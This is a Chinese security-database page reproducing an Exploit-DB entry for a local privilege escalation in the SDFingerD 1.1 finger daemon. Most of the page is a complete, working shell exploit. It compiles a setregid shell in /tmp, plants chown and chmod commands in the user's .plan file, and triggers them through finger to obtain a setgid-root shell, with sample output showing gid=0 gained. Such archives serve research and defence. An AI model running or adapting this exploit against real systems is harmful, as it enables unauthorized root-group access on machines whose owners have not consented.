SDFingerD 1.1 – Failure To Drop Privileges Privilege Escalation

SDFingerD 1.1 – Failure To Drop Privileges Privilege Escalation

漏洞ID 1053981 漏洞类型
发布时间 2003-06-19 更新时间 2003-06-19
图片[1]-SDFingerD 1.1 – Failure To Drop Privileges Privilege Escalation-安全小百科CVE编号 N/A
图片[2]-SDFingerD 1.1 – Failure To Drop Privileges Privilege Escalation-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22806
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7977/info

sdfingerd has been reported prone to a local privilege escalation vulnerability. The issue presents itself because the sdfingerd daemon fails to sufficiently drop group privileges before executing commands that are contained in a users .plan file. 

#!/bin/sh
# sdfingerd[v1.1]: local root(gid=0) exploit.
# by: vade79/v9 [email protected] (fakehalo)
#
# sdfingerd URL/reference:
#  http://www.schmolze.com/projects/sdfingerd/
#
# sdfingerd(Simple Dynamic Finger) is a finger
# daemon with the main focus of allowing users
# to be able to have dynamic .plan files.  dynamic
# as in allows users to place commands in their
# .plan file.  when a third party command is called,
# the user id privileges get set to that of the user
# being requested.  but, the group id is left as-is.
# since, this program is designed/defaulted to run
# as root via inetd, gid=0(root) is freely available.
#
# ----------------- example usage -----------------
# [v9@localhost v9]$ id
# uid=1001(v9) gid=1001(v9) groups=1001(v9)
# [v9@localhost v9]$ sh xsdfingerd.sh
# * sdfingerd[v1.1]: local root(gid) exploit.
# * by: vade79/v9 [email protected] (fakehalo)
# * exploit successful.
# -rwx--s--- 1 v9 root 13960 Jun 18 18:38 /tmp/xsh
# sh-2.04$ id
# uid=1001(v9) gid=0(root) groups=1001(v9)
# -------------------------------------------------
echo "* sdfingerd[v1.1]: local root(gid=0) exploit."
echo "* by: vade79/v9 [email protected] (fakehalo)"
rm -rf ~/.plan /tmp/xsh.c /tmp/xsh
cat <<_EOF_>/tmp/xsh.c
#include <unistd.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
 setregid(getegid(),getegid());
 execl("/bin/sh","sh",0);
 exit(0);
}
_EOF_
cc /tmp/xsh.c -o /tmp/xsh
cat <<_EOF_>~/.plan
$!chown `id -u`.`id -g` /tmp/xsh!$
$!chmod 2710 /tmp/xsh!$
_EOF_
finger ${USER}@localhost>/dev/null
rm -rf ~/.plan /tmp/xsh.c
if test -g "/tmp/xsh"
then
 echo "* exploit successful."
 ls -l /tmp/xsh
 /tmp/xsh
else
 echo "! exploit failed."
 rm -rf /tmp/xsh
fi

相关推荐: Fortres导致 explorer.exe崩溃漏洞

Fortres导致 explorer.exe崩溃漏洞 漏洞ID 1203182 漏洞类型 未知 发布时间 2002-12-31 更新时间 2002-12-31 CVE编号 CVE-2002-2275 CNNVD-ID CNNVD-200212-832 漏洞平台…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享